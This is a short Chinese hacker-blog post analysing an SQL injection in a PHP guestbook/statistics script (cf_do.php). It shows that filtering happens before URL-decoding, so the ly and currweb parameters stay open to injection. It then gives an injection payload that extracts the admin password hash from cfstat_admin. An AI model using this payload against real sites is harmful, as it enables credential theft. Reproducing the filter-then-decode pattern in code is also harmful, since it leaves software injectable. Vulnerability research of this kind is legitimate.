明生注:作者不知道是谁。。。。。
今天看东西看累了,就随便下载了这样的一套代码。
大家可以看下他的说明,号称完全防注入攻击,密码32位Md5加密。
看了一下大部分注射是基本不可能了,除非对方漏写东西。
但是有这样一个比较可说的漏洞。
cf_do.php
Code:
//留言
if($action=="gbookaddsave")
{
$username=chkstr($_GET["username"],1);
$content=HTMLSpecialChars(chkstr($_POST["content"],1));
$contact=HTMLSpecialChars(chkstr($_POST["contact"],1));
$ly=substr(urldecode(chkstr($_GET["ly"],1)),0,255);
$currweb=substr(urldecode(chkstr($_GET["currweb"],1)),0,255);
if($content=="") alertclose("请输入留言内容");
if($contact=="") alertclose("请输入联系方式");
$sql="select count(*) from cfstat_gbook where username='$username' and content='$content' and contact='$contact' and TO_DAYS(NOW())-TO_DAYS(addtime)=0";
$result=mysql_query($sql);
$rs=mysql_fetch_array($result);
if($rs[0]>0) alertclose("你以前已经留过相同的留言!");
$sql="insert into cfstat_gbook (username,content,contact,ly,currweb,addtime) values
('$username','$content','$contact','$ly','$currweb','".date("Y-m-d H:i:s")."')";
mysql_query($sql);
alertclose("留言成功");}
如果看过我讲的二次注射漏洞,对这个应该比较了解了。
上面他先经过了chkstr过滤然后才经过urldecode过滤。漏洞就这样产生了。
漏洞挖掘总体来算没什么好说的。利用相对来说还不错。
insert into我们可以这样写代码。
Code:
insert into cfstat_gbook (username,content,contact,ly,currweb,addtime) values
('1111','1111','1111','sql语句',(select pwd from cfstat_admin where id=1),'1111')%23'$currweb','".date("Y-m-d H:i:s")."')
原创文章如转载,请注明:转载自心动吧黑客BLOG [ http://www.abcxd.com/abcxd/ ]
本文链接地址:http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/CFCountSql-40.html